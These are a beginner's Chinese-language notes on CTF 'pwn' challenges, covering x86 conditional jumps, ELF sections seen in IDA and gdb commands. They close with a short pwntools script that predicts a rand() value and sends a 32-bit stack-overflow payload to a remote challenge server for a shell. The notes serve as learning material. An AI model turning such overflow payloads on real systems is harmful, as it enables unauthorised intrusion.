JNZ(或JNE)(jump if not zero, or not equal),汇编语言中的条件转移指令。结果不为零(或不相等)则转移。

测试条件:ZF=0

ZF汇编语言中的PSW标志寄存器中的一位,而JZ则是根据ZF决定是否跳转。若ZF=1(表示本次运算结果为0,不为0则ZF=0),则跳转,否则,不跳转ZF的状态根据其他指令的执行结果设置。

jz=jump if zero,即零标志为1就跳转,一般与cmp连用,用以判断两数是否相等。jz的另一种写法就是je,je=jump if equal,jz和je的作用是完全一样的。

JZ是累加器A判零条件转移指令。
int 3是一个软件断点中断,一般用于调试时设置断点,用于观察,查找一些软件的关键数据,你可以任意修改断点。
介绍ida中汇编前的代码含意:
1.load与头文件有关
2.init代码段
3.plt代码段
4.text代码段
5.got节gotplt节:记录八字节地址
6.data是数据段

got可以找到函数真正地址
dissass+地址——》反汇编
info b 查看断点
d +数字删除断点
c继续执行程序,断点多才有用,遇到下一断点停止
不小心点住s,步入函数后可用return直接离开
rodata中存在binsh

这个题是我做的最久,最意难平的一道题,我写的脚本没毛病,但就是要有一个,32位的环境,我配置环境已经单独为这个题配了两次了,还是不行,可能是我实力问题😚

从read函数栈溢出就行了

但用ldd指令出来引用的是libc32位的库,很难受,还是太菜了。

from pwn import*
from ctypes import*

io =remote(“123.57.230.48”,12345)

libc=cdll.LoadLibrary(‘libc.so.6’)

libc.srand()
io.recvuntil(“Try your best to solve it!\n”)
io.sendline(str(libc.rand()))
payload=b’a’*(0x1a+0x4)+p32(0x080485E7)+p32(0x080486D0)
io.sendline(payload)
io.interactive()

PWN总结:很难,对基础要求很高,也要求对汇编和逆向有充分的了解,本人小白只浅尝辄止的学习了点皮毛,需要在逆向的基础上更加努力!

加油吧!慢慢更完!